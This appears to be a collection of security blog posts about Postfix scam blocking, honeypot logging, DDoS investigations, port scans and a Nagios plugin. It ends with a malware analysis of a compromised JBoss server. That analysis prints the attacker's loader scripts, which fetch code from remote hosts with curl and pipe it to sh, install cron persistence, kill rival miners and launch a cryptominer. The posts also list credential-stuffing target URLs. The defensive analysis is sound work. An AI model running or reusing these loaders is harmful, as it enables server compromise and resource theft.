Blocking coronavirus scam mails in Postfix

As always, scammers and phishers use newsworthy events to their advantage. The coronavirus pandemic is no exception. All over the worlds, security researchers observe phishing and scam attempts. Samples for studying and for awareness training are collected at various sites, including https://coronavirusphishing.com/.

A large number of security researchers have joined forces to establish a cyber threat intelligence site at https://www.cyberthreatcoalition.org/, providing free IT resources to combat cyber criminals seeking to exploit the COVID-19 situation. The site provides vetted and unvetted lists of IP addresses, domains, URLs and IOC hashes found in corona scams, both as downloadable text files and through Open Threat Exchange pulses.

If you’re already using OTX in your security infrastructure you might want to join the group through which you’ll get their pulses. If not, here’s a short bash script that creates a domain blacklist for use with the Postfix mail server. The script may be run in cron, but please be considerate and don’t run it too often.

!/bin/bash
TMP=mktemp /tmp/corona.XXXXXXXX
/usr/bin/wget -q https://blacklist.cyberthreatcoalition.org/vetted/domain.txt -O "${TMP}"
/usr/bin/dos2unix "${TMP}" >/dev/null 2>&1
/bin/grep -v '^#' ${TMP} | /bin/sed 's/$/\tREJECT\tCorona scam/' > "${TMP}.new"
[ -s "${TMP}.new" ] && \
  /bin/mv "${TMP}.new" /etc/postfix/corona_access && \
  /usr/sbin/postmap /etc/postfix/corona_access
/bin/rm ${TMP}

You’ll also need a corresponding entry in your Postfix configuration. Add a check_sender_access check under smtpd_sender_restrictions, something like this:

smtpd_sender_restrictions =
  permit_mynetworks
  reject_non_fqdn_sender
  reject_unknown_sender_domain
  check_sender_access hash:/etc/postfix/corona_access
  [...]

SMTP honeypots: Extracting events and decoding MIME headers with Logstash

One of my honeypots runs INetSim which, among many other services, emulates an SMTP server. The honeypot is frequently used by spammers who think they’ve found a mail server with easily guessed usernames and passwords. Obviously I’m logging the intruders’ activities, so I’m shipping the logs to Elasticsearch using Filebeat.

Shipping the regular INetSim activity logs is easy, but extracting the SMTP headers from the mail server honeypot was more of a challenge. INetSim logs each mail’s full content (header and body) in a file, by default on a Debian based system this file is /var/lib/inetsim/smtp/smtp.mbox. Every mail has a header and a body. The start of a header block is indicated by a first line starting with “From”, and the header ends with an empty linefeed followed by the mail body. After the mail’s body there’s a new empty linefeed, separating that mail from the next.

Spam, spam, wonderful spam
(Clip art courtesy of Clipart Library)

Extracting body content from an endless number of spam emails has limited value, but the headers are interesting. Information extracted from these can for instance be used to prime and improve spam filters as well as to identify and report compromised systems.

The following Filebeat multiline configuration extracts the interesting parts of each email:

filebeat:
  inputs:
    -
      paths:
        - "/var/lib/inetsim/smtp/smtp.mbox"
      type: log
      scan_frequency: 10s
      tail_files: true
      include_lines: ['^From [\w.+=:-]+(@[0-9A-Za-z][0-9A-Za-z-]{0,62}(?:[\.](?:[0-9A-Za-z][0-9A-Za-z-]{0,62}))*)?(?:<.*>)? ']
      multiline.pattern: '^$'
      multiline.negate: true
      multiline.match: after

What happens in this config section is that every block of text between empty linefeeds is concatenated into single lines. That leaves us with one long line for the header and one long line for the body for every logged email. Then, because of the include_lines stanza, the config only cares about the lines starting with From followed by an email address, shipping only those to the Logstash server configured to receive logs from the honeypot.

Spammer activity on a slow day.

On the Logstash side, I’m first extracting what was the first of the header lines, i.e. the From address and the email’s timestamp, then I’m storing the rest of the content in a variable named smtpheaders.

Then I’m parsing the email’s timestamp, using this as the authoritative timestamp for this event.

After some cleanup, the contents of the smtpheaders variable, converted by Filebeat into one single line with the linefeed character \n to separate each header line, are extracted using the key/value (kv) plugin. This plugin puts each whitelisted header into a nested field under the smtp parent field, i.e. the email’s subject header is stored in Elasticsearch as [smtp][subject]. When all headers are mapped, the smtpheaders variable is no longer useful so it’s deleted.

filter {
  # Extract the (fake) sender address, the timestamp,
  # and all the other headers
  grok {
    # Note two spaces in From line
    match => { "message" => [
      "^From %{EMAILADDRESS:smtp.mail_from}\s+%{MBOXTIMESTAMP:mboxtimestamp}\n%{GREEDYDATA:smtpheaders}",
      "^From %{USERNAME:smtp.mail_from}\s+%{MBOXTIMESTAMP:mboxtimestamp}\n%{GREEDYDATA:smtpheaders}",
      "^From %{GREEDYDATA:smtp.mail_from}\s+%{MBOXTIMESTAMP:mboxtimestamp}\n%{GREEDYDATA:smtpheaders}"
      ]
    }
    pattern_definitions => {
      "MBOXTIMESTAMP" => "%{DAY} %{MONTH} \s?%{MONTHDAY} %{TIME} %{YEAR}"
    }
    remove_field => [ "message" ]
  }
  # Extract the date from the email's header
  date {
    match => [ "mboxtimestamp",
               "EEE MMM dd HH:mm:ss yyyy",
               "EEE MMM  d HH:mm:ss yyyy" ]
  }
  # Replace indentation in Received: header and possibly others
  mutate {
    gsub => [ "smtpheaders", "\n(\t|\s+)", " " ]
  }
  # Map interesting header variables into an object named "smtp"
  kv {
    source => "smtpheaders"
    value_split => ':'
    field_split => '\n'
    target => "smtp"
    transform_key => "lowercase"
    trim_value => " "
    include_keys => [
      "content-language",
      "content-transfer-encoding",
      "content-type",
      "date",
      "envelope-to",
      "from",
      "mail_from",
      "message-id",
      "mime-version",
      "rcpt_to",
      "received",
      "return-path",
      "subject",
      "to",
      "user-agent",
      "x-inetsim-id",
      "x-mailer",
      "x-priority"
    ]
    remove_field => ["smtpheaders"]
  }
}

With the above configuration, INetSim provides a steady stream of events – one for every spam or phishing mail the intruders submit. Obviously the mail goes right into /dev/null so their efforts are completely wasted, while I’m getting nice Kibana dashboards telling how much spam my honeypot has caught (and deleted) today.

There’s one more thing, though. Each email usually has two From addresses; one often referred to as envelope-from (this is the first header line), and one called the header-from (the difference is explained here). While the envelope-from is a simple email address, the header-from can be almost anything including all kinds of international characters. Because an email header only allows a limited set of character, the header-from is often MIME encoded. For instance, an email from me would look like this:

From: Bjørn

But in the email header it would say:

From: =?UTF-8?Q?Bj=c3=b8rn?=

Since these headers aren’t decoded automatically, and since Logstash has no native decoding function for MIME, a small Logstash filter trick needs to be implemented. Logstash allows inline Ruby code, and the Ruby codebase provided with Logstash includes the mail gem, which in turn provides a MIME decode function. So I added the following to the Logstash filter:

    if [smtp][from] {
        ruby {
            init => "require 'mail'"
            code => "event.set('[smtp][from_decoded]',
             Mail::Encodings.value_decode(event.get('[smtp][from]')))"
        }
    }

The code first makes sure the mail gem is loaded, then it creates a new nested field [smtp][from_decoded] and inserts the value of [smtp][from] after applying Ruby’s Mail::Encodings.value_decode function. Equal decoding also happens on a few other headers, including the Subject header.

Some things are better left encoded.

With this in place, my honeypot Kibana dashboard displays all the headers properly, and I can read spam subjects like “Cîalis Professional 20ϻg 60 pȋlls” instead of wondering what “=?UTF-8?Q?C=C3=AEalis?= Professional =?UTF-8?Q?20=CF=BBg?= 60 =?UTF-8?Q?p?= =?UTF-8?Q?=C8=8Blls?=” really means.

A series of unfortunate events

A customer of my employer Redpill Linpro was recently the target of a DDoS attack. While investigating the attack, we found a large number of HTTP requests with the User-Agent named CITRIXRECEIVER. The clients performed GET requests to multiple URLs on the customer’s web site at the rate of several thousand packets per second. The originating IP addresses were mostly Norwegian and even registered on major companies and organizations, but we also registered multiple requests from south-east Asian countries like Singapore, Thailand, and Vietnam.

DDoS icon from vectorified.com

At first we didn’t think those were a part of the ongoing DDoS attack, but the frequencies and rates were alarming. The fact that they seemed to hammer the same set of URLs over and over again was also somewhat concerning, since we’ve previously experienced similar scripted attacks from botnets of hijacked browsers running in zombie mode without the computer owner’s knowledge.

Tracking down and analyzing the requests we found that this was probably just something as simple as misconfigured Citrix clients, set to poll a defined beacon as described here. When contacting the owner of one of the more aggressive IP ranges, they confirmed that the URL of the customer’s website had indeed been configured as an “am I alive or not” connectivity check for no less than 25 000 (!) client systems, which absolutely explained the insane polling rate. Those 25 000 clients were associated with a single company – additional requests poured in from other organizations as well.

However, the poll was designed to be HEAD requests which are supposed to be non-intrusive and harmless. So why did they come across as multi-URL GET requests, causing increased load on the customer’s systems?

DDoS icon from vectorified.com

The first part of the explanation is that Varnish, which is used extensively at the customer’s web site, will by default convert a HEAD request to a GET request before responding. In many cases this makes sense, while for plain polling purposes HEAD requests are often configured to shortcut the processing and return a simple response.

The second part has to do with Varnish’ advanced capacity of Edge Side Includes (ESI), which allows a mainly static web site to include one or more dynamic components. The customer’s front page URL includes certain uncacheable, per-visitor components, so when someone accesses the front page multiple dynamic components are processed and included before returning the content.

Since HEAD requests weren’t specifically cut short, the simple and theoretically harmless beacon polling from thousands of Citrix clients turned out to have quite some impact after all.

PS: Not surprisingly, sysadmins configuring the CITRIXRECEIVER beacon polling seem to select well-known and/or short URLs for their connectivity check. Used with BBC’s web site, CITRIXRECEIVER has been reported as the second most popular User-Agent.

Perfectly synchronized dual portscanning

The other day while reviewing my fireplot graphs, I noticed (yet) another portscan. They’re not unusual. This one took around four and a half hour to complete, and covered a lot of TCP ports on one IPv4 address. That’s not unusual either. The curved graph shown below is caused by the plot’s logarithmic Y axis, where approximately linear activity will be presented as a curve. The scanning speed changed above TCP port 10000, when the scanner started increasing the interval between ports hence the “elbow” in the graph. Such behaviour is seen less often.

Port scans in general are mostly harmless and not worth pursuing, but I often check the source IP address anyway. What caught my attention this time was that each TCP port probe was performed from the same two IP addresses at the exact same time.

Now and again, more than one source IP address inevitably hits the same destination address at the same time. In this case, however, the two source IP addresses, from Verizon and China Telecom respectively, probed each and every destination port in the port scan simultaneously. The second source IP address usually did one additional probe after about a second before they both moved on to the next port. Here’s a short log extract:

 06:18:02 - 205.205.150.21:60298 -> my.ip:444
06:18:02 - 14.135.120.21:61829 -> my.ip:444
06:18:03 - 14.135.120.21:61829 -> my.ip:444

06:19:25 - 205.205.150.21:52087 -> my.ip:445
06:19:25 - 14.135.120.21:58357 -> my.ip:445
06:19:26 - 14.135.120.21:58357 -> my.ip:445

06:19:55 - 205.205.150.21:51165 -> my.ip:465
06:19:55 - 14.135.120.21:49536 -> my.ip:465
06:19:55 - 14.135.120.21:49536 -> my.ip:465

06:21:42 - 205.205.150.21:51622 -> my.ip:502
06:21:42 - 14.135.120.21:60555 -> my.ip:502
06:21:43 - 14.135.120.21:60555 -> my.ip:502

06:22:15 - 205.205.150.21:59264 -> my.ip:503
06:22:15 - 14.135.120.21:58707 -> my.ip:503
06:22:16 - 14.135.120.21:58707 -> my.ip:503

06:23:17 - 205.205.150.21:63830 -> my.ip:515
06:23:17 - 14.135.120.21:65380 -> my.ip:515
06:23:18 - 14.135.120.21:65380 -> my.ip:515

06:25:00 - 205.205.150.21:57614 -> my.ip:523
06:25:00 - 14.135.120.21:65188 -> my.ip:523
06:25:01 - 14.135.120.21:65188 -> my.ip:523

06:26:34 - 205.205.150.21:50725 -> my.ip:548
06:26:34 - 14.135.120.21:60536 -> my.ip:548
06:26:35 - 14.135.120.21:60536 -> my.ip:548

06:27:27 - 205.205.150.21:52714 -> my.ip:554
06:27:27 - 14.135.120.21:53459 -> my.ip:554
06:27:27 - 14.135.120.21:53459 -> my.ip:554

06:28:09 - 205.205.150.21:59443 -> my.ip:587
06:28:09 - 14.135.120.21:64735 -> my.ip:587
06:28:10 - 14.135.120.21:64735 -> my.ip:587

06:30:25 - 205.205.150.21:57621 -> my.ip:631
06:30:25 - 14.135.120.21:51887 -> my.ip:631
06:30:26 - 14.135.120.21:51887 -> my.ip:631

06:31:20 - 205.205.150.21:53968 -> my.ip:636
06:31:20 - 14.135.120.21:61462 -> my.ip:636

06:32:04 - 205.205.150.21:64024 -> my.ip:666
06:32:04 - 14.135.120.21:57281 -> my.ip:666
06:32:05 - 14.135.120.21:57281 -> my.ip:666

06:33:15 - 205.205.150.21:55499 -> my.ip:774
06:33:15 - 14.135.120.21:63834 -> my.ip:774
06:33:16 - 14.135.120.21:63834 -> my.ip:774

06:34:31 - 205.205.150.21:58959 -> my.ip:789
06:34:31 - 14.135.120.21:49894 -> my.ip:789
06:34:32 - 14.135.120.21:49894 -> my.ip:789

06:36:05 - 205.205.150.21:54622 -> my.ip:873
06:36:05 - 14.135.120.21:53988 -> my.ip:873
06:36:05 - 14.135.120.21:53988 -> my.ip:873

06:36:52 - 205.205.150.21:49230 -> my.ip:902
06:36:52 - 14.135.120.21:49321 -> my.ip:902
06:36:52 - 14.135.120.21:49321 -> my.ip:902

As the log shows, the two source IP addresses, most likely unknowingly parts of a botnet, were working in perfect synchronization. The timing is too precise to be two individual scanning processes on opposite sides of the globe just started and left to run, so this scan was likely to have been under external control.

Honeypot intruders’ HTTP activity

One of my Cowrie honeypots has been configured to intercept various outbound connections, redirecting them into an INetSim honeypot offering corresponding services. When intruders think they’re making an outbound HTTPS connection, they only reach the INetSim server, where their attempts are registered and logged.

When someone successfully logs in to the Cowrie honeypot, be it bot or a real person, they often check their network location by polling some “check my IP” URL. This is particularly useful for automated bots who call home to report where they’ve gained a foothold.

Then we have the bots who use their login shell as a bouncer towards external services. Quite a few bots think they’ve found an open SMTP relay and spew out large amounts of spam or phishing mail (all going into the /dev/null sink of INetSim).

Others again use the shell to bruteforce web services for logging in to existing accounts with compromised credentials, or to create new users. The latter is particularly common with social media botnets. There are also some attempts made towards Amazon’s “address change” URL, probably to redirect deliveries.

Without further ado, below is top 30 from the last 40 or so days of URL gathering, focusing on bots that use the HTTP POST method to submit data. I’ve made some aggregations for services using load distributing hostnames (in this extract Omegle and Uber). I suspect the “winner” is the victim of some gift card scheme.

10795 https://deviceapi.amctheatres.com/api/token
5918 https://passport.twitch.tv/login
4768 https://www.officedepot.com/account/loginAccountSet.do
3766 https://www.walmart.com/account/electrode/api/signin
3589 https://auth.riotgames.com/token
3002 https://restmws.fuelrewards.com/fuelrewards/public/rest/v2/frnExcentus/login
2166 https://frontX.omegle.com/start
1862 https://cn-NNNN.uber.com/rt/silk-screen/submit-form
1801 https://account-public-service-prod.ol.epicgames.com/account/api/oauth/token
1746 https://cn-NNNN.uber.com/rt/silk-screen/partner-submit-form
1558 https://api.mobile.walmart.com/v4/mauth/get-token
667 https://ofxdc.wellsfargo.com/ofx/process.ofx
635 https://services.chipotle.com/auth/v1/customerAuth/login
589 https://apisd.ebay.com/identity/v1/device/application/register
351 https://auth.np.ac.playstation.net/np/auth
316 https://device-api.urbanairship.com/api/channels/
200 https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token
167 https://www.amazon.com/gp/delivery/ajax/address-change.html
127 https://www.netflix.com/Login
106 https://cpa-api.kyivstar.ua/api/gateway/public/send
103 https://steamcommunity.com/login/getrsakey/
96 https://www.netflix.com/login
89 https://www.netflix.com/redeem
86 https://www.instagram.com/accounts/web_create_ajax/attempt/
79 https://graph.instagram.com/logging_client_events
75 https://www.dooney.com/account
70 https://api.coinbase.com/v2/mobile/users
68 https://discordapp.com/api/v6/auth/register
52 https://authserver.mojang.com/authenticate
45 https://bank.bbt.com/auth/pwd.tb

Nagios or Icinga plugin for Mikrotik software and firmware version

When upgrading the software (RouterOS) on Mikrotik devices, you should usually also make sure the firmware (RouterBoot) is upgraded to the same level.

In the devices’ various management interfaces including command line, the OS will tell you that there are outstanding firmware patches if you ask it, like this:

/system routerboard print 
routerboard: yes
current-firmware: 3.24
upgrade-firmware: 5.2.1

Or, if you’ve configured the unit for automatic firmware upgrade after a software upgrade, you will be greeted by a message like this at login time:

Firmware upgraded successfully, please reboot for changes to take effect!

Previously there were no logical way to compare matching versions between the OS software and the boot firmware, but some time ago the vendor started aligning the two components’ version numbers and that made today’s small endeavor much easier. When it’s this easy to check whether the firmware upgrade was forgotten after a software upgrade, it took just a few minutes to write a shell script to be used in Icinga or Nagios.

The script takes a couple of arguments: -H for hostname, -c for entering the SNMP community, and -v for versions 1 or 2c. Sorry, I haven’t made it SNMPv3 compatible yet. If you’ve forgotten a firmware upgrade, the script will issue a WARNING text with a corresponding exit value 1, but it also accepts a -C argument to return a CRITICAL state and exit value 2.

!/bin/bash
HOST="127.0.0.1"
COMMUNITY="public"
VERSION="2c"
CRITICAL=0
while getopts "H:c:v:C" opt; do
case $opt in
H)
HOST=$OPTARG
;;
c)
COMMUNITY=$OPTARG
;;
v)
VERSION=$OPTARG
;;
C)
CRITICAL=1
;;
\?)
echo "Invalid option: -$OPTARG" >&2
;;
esac
done
FW=$(snmpwalk -Ov -On -Oq -Cc -c $COMMUNITY -v $VERSION $HOST .1.3.6.1.4.1.14988.1.1.7.4.0)
SW=$(snmpwalk -Ov -On -Oq -Cc -c $COMMUNITY -v $VERSION $HOST .1.3.6.1.4.1.14988.1.1.4.4.0)
if [ "$FW" == "$SW" ]; then
echo "OK: Software and firmware versions match ($SW)"
exit 0
else
if [ $CRITICAL -gt 0 ]; then
echo "CRITICAL: Software version $SW does not match firmware version $FW"
exit 2
else
echo "WARNING: Software version $SW does not match firmware version $FW"
exit 1
fi
fi

A test run from the shell provides useful output:

./check_mikrotik_sw_fw -H devicename -c snmpsecret
WARNING: Software version 6.44 does not match firmware version 6.43.12

After configuring Icinga2 to check the Mikrotik devices, I got a nice overview of outstanding tasks:

Status at blog time. They are all upgraded now 😉

Coming up: Write a plugin to warn about units that don’t use the most recent versions. But that’ll be for another blog entry!

Updating wordlists from Elasticsearch

Among the many benefits of running a honeypot is gathering the credentials intruders try in order to log in. As explained in some earlier blog posts, my Cowrie honeypots are redirecting secondary connections to another honeypot running INetSim. For example, an intruder logged in to a Cowrie honeypot may use the established foothold to make further attempts towards other services. INetSim regularly logs various attempts to create fake Facebook profiles, log in to various mail accounts, and submit product reviews.

 

Top 15 hostnames that honeypot intruders try to submit data to

 

INetSim activity is obviously tracked as well, which means that login credentials used by Cowrie intruders to gain further access elsewhere will also be stored. I’m logging all honeypot activity to Elasticsearch for easy analysis and for making nice visualizations.

 

Most recent usernames and passwords used by intruders

 

Real passwords are always nice to have for populating wordlists used for e.g. password quality assurance, as dictionary attacks are often more efficient than bruteforcing. For this purpose I’m maintaining a local password list extracted from Elasticsearch. With the recent addition of the SQL interface, this extraction process was easy to script.

 

#!/bin/bash
PASSFILE=/some/path/to/honeypot_passwords.list
TODAY=$(date +%Y.%m.%d)

echo "select \"cowrie.password\" from \"logstash-${TODAY}\" \
 where \"cowrie.password\" is not null;" \
 | /usr/share/elasticsearch/bin/elasticsearch-sql-cli 2>&1 \
 | tail -n +7 | head -n -1 | sort -u \
 | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' \
 | while read p; do
   grep -qax "${p}" ${PASSFILE} || echo "$p" | tee -a ${PASSFILE}
done

echo "select \"password\" from \"logstash-${TODAY}\" \
 WHERE \"service\" IS NOT NULL AND \"password\" IS NOT NULL\
 AND MATCH(tags, 'inetsim');" \
 | /usr/share/elasticsearch/bin/elasticsearch-sql-cli 2>&1 \
 | tail -n +7 | head -n -1 | sort -u \
 | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' \
 | while read p; do
   grep -qax "${p}" ${PASSFILE} || echo "$p" | tee -a ${PASSFILE}
done

 

This script (although with some more pipes and filters) is regularly run by cron, continuously adding more fresh passwords to the local wordlist.

X-Forwarded-For DDoS

A discussion forum of one of Redpill Linpro‘s customers has been under attack lately, through a number of DoS and DDoS variants. Today’s attack strain was of the rather interesting kind, as one of its very distinctive identifiers was a suspicious, not to say ridiculous, amount of IP addresses in the incoming X-Forwarded-For HTTP header. The X-Forwarded-For IP addresses included both IPv4 and IPv6 addresses.

The longest X-F-F header observed contained no less than 20 IP addresses that the HTTP request had allegedly been forwarded through on its way to the forum. If we are to believe the headers, this particular request has been following this route: United States → United States → South Africa → United States → United States → Mexico → Uruguay → China → Germany → United States → United States → South Africa → United States → United States → Mexico → Uruguay → China → Germany → Costa Rica → Norway.

This short animation (click to play) illustrates a few of the the alleged routes:

video

Whether the HTTP requests have indeed been proxied through all these relays is difficult to confirm. By their reverse DNS lookup, quite a few of the IP addresses identify themselves as proxy servers. Checking a sample of the listed IP addresses did not reveal any open proxies or other kinds of relays, neither were they listed on random open relay blacklists. The HTTP headers included the “Via:” header as well, indicating that the request did pass through some HTTP proxies. But as we know, incoming headers can’t be trusted and should never be treated as if they could.

For the purpose of blocking the DDoS attack, it’s not really interesting whether the intermediate IP addresses are real or just faked. We simply reconfigured Varnish to check each incoming HTTP request for two things:

  • Does the X-Forwarded-For header have more than five IP addresses?
  • Is the request destined for the forum currently under siege?

All requests matching the above criteria were then efficiently rejected with the well-known, all-purpose 418 I’m a teapot HTTP response. After a minute or two of serving 418 responses, the attack stopped abruptly.

Control code usernames in telnet honeypot

By running a Cowrie honeypot, I’m gathering interesting information about various kinds of exploits, vulnerabilities, and botnets. Upon a discovery of a new Linux-based vulnerability – often targeting network routers, IoT devices, and lately many IP camera products – the botnets will usually come in waves, testing the new exploits.

The honeypot logs everything the intruders to. In addition to extracting and submitting useful indicators to threat intelligence resources like VirusTotal and AlienVault’s Open Threat Exchange, I’m processing the logs in an Elastic stack for graphing and trending. As shown below, there’s a section of the Kibana dashboard that details activity by time range and geolocation, and I’m also listing the top 10 usernames and passwords used by intruders trying to gain access.

Parts of my Cowrie dashboard in Kibana

Parts of my Cowrie dashboard in Kibana

This morning I briefly checked the top 10 usernames tag cloud when something unusual caught my eye.

KIbana username tag cloud

It wasn’t the UTF rectangle added to the “shell” and the “enable” user names, these are really shell\u0000, enable\u0000, sh\u0000 and are appearing quite frequently nowadays. What caught my eye was this tiny, two-character username, looking like an upside-down version of the astrological sign for Leo and a zigzag arrow.

Weird username from tag cloud

Upon closer inspection, the username is actually \u0014\t\t\u0012 – “Device Control 4”, two TABs, and “Device Control 2”.

One of the passwords used with this username was \u0002\u0003\u0000\u0007\u0013 – visualized in Kibana as follows:

Other passwords from the same IPs also include different control codes, beautifully visualized by Kibana as shown below:

From the Cowrie logs, the first occurrences in my honeynet were 2017-12-16. Exactly what kind of vulnerability these control codes are targeting is not known to me yet, but I am sure we will find out over the next few days.

Covert channels: Hiding shell scripts in PNG files

A colleague made me aware of a JBoss server having been compromised. Upon inspection, one of the processes run by the JBoss user account was this one:

sh -c curl hxxp://img1.imagehousing.com/0/beauty-287196.png -k|dd skip=2446 bs=1|sh

 

This is a rather elegant way of disguising malicious code. If we first take a look at the png file:

$ file beauty-287196.png
beauty-287196.png: PNG image data, 160 x 160, 8-bit colormap, non-interlaced

 

Then, let’s extract its contents like the process shown above does:

$ cat beauty-287196.png | dd skip=2446 bs=1 > beauty-287196.png.sh
656+0 records in
656+0 records out
656 bytes copied, 0,00166122 s, 395 kB/s
$ file beauty-287196.png.sh
beauty-287196.png.sh: ASCII text

 

Lo and behold, we now have a shell script file with the following contents:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh
echo "*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh" > /var/spool/cron/crontabs/root
(crontab -l;printf '*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh \n')|crontab -
while true
do
        curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh
        sleep 3600
done

 

As we can see, the shell script will try to replace different users’ cron schedules with the contents from a downloaded file. This is the shell script extract from the beauty-036457.png file:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
days=$(($(date +%s) / 60 / 60 / 24))
DoMiner()
{
    curl -kL -o /tmp/11232.jpg hxxp://img1.imagehousing.com/0/art-061574.png
    dd if=/tmp/11232.jpg skip=7664 bs=1 of=/tmp/11231
    curl -kL -o /tmp/11234.jpg hxxp://img1.imagehousing.com/0/pink-086153.png
    dd if=/tmp/11234.jpg skip=10974 bs=1 of=/tmp/11233
    chmod +x /tmp/11231
    nohup /tmp/11231 -c /tmp/11233 &
    sleep 10
    rm -rf /tmp/11234.jpg
    rm -rf /tmp/11233
    rm -rf /tmp/11232.jpg
    rm -rf /tmp/11231
}
ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr"|awk '{print $2}'|xargs kill -9
pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 
pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB 
pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df 
pkill -f cpuloadtest 
pkill -f crypto-pool 
pkill -f xmr 
pkill -f prohash 
pkill -f monero 
pkill -f miner
pkill -f nanopool 
pkill -f minergate 
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "11231" || DoMiner

 

The shell script starts by downloading even more resources, then looking for – and killing – competing BitCoin mining processes. Finally, it starts its own BitCoin miner. I’ll describe the downloaded components:

The first file it downloads (art-061574.png) is, after extraction, a binary:

$ file 11231
11231: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

 

The extracted file’s MD5/SHA1/SHA256 hashes are as follows:

483b322b42835227d98f523f9df5c6fc
91e71ca252d1ea759b53f821110d8f0ac11b4bff
28d5f75e289d652061c754079b23ec372da2e8feb1066a3d57381163b614c06c

 

Based on its checksum, the file is a BitCoin miner very well known by Virustotal.

The next file it downloads (pink-086153.png)  is – after extraction – a config file. Its contents are:

{
 "url" : "stratum+tcp://212.129.44.155:80",
 "url" : "stratum+tcp://62.210.29.108:80",
 "url" : "stratum+tcp://212.83.129.195:80",
 "url" : "stratum+tcp://212.129.44.157:80",
 "url" : "stratum+tcp://212.129.46.87:80",
 "url" : "stratum+tcp://212.129.44.156:80",
 "url" : "stratum+tcp://212.129.46.191:80",
 "user" : "[ID]",
 "pass" : "x",
 "algo" : "cryptonight",
 "quiet" : true
}

 

We see that the script executes the first downloaded component (the ELF binary) with the other downloaded component as its config. Since this compromise never obtained root privileges, root’s cron jobs were never impacted.

The interesting about this compromise was not the binaries themselves, nor the fact that the JBoss server was vulnerable – but the covert transport mechanisms. We found no less than four different BitCoin miner binaries in the JBoss account’s home directory, indicating that several bots have been fighting over this server. As an additional bonus, the following entry was found in the JBoss account’s crontab:

*/1 * * * * curl 107.182.21 . 232/_x2|sh

 

The _x2 file contains the following shell script:

AGENT_FILE='/tmp/cpux'
if [ ! -f $AGENT_FILE ]; then
 curl 107.182.21 . 232/cpux > $AGENT_FILE
fi
if [ ! -x $AGENT_FILE ]; then
 chmod +x $AGENT_FILE
fi
ps -ef|grep $AGENT_FILE|grep -v grep
if [ $? -ne 0 ]; then
 nohup $AGENT_FILE -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u [ID] -p x > /dev/null 2>&1 &
fi

 

The cpux file is also thoroughly registered in Virustotal (at the time of writing, 29 antivirus products identify it as malicious). It has the same checksums as the 11231 file described earlier.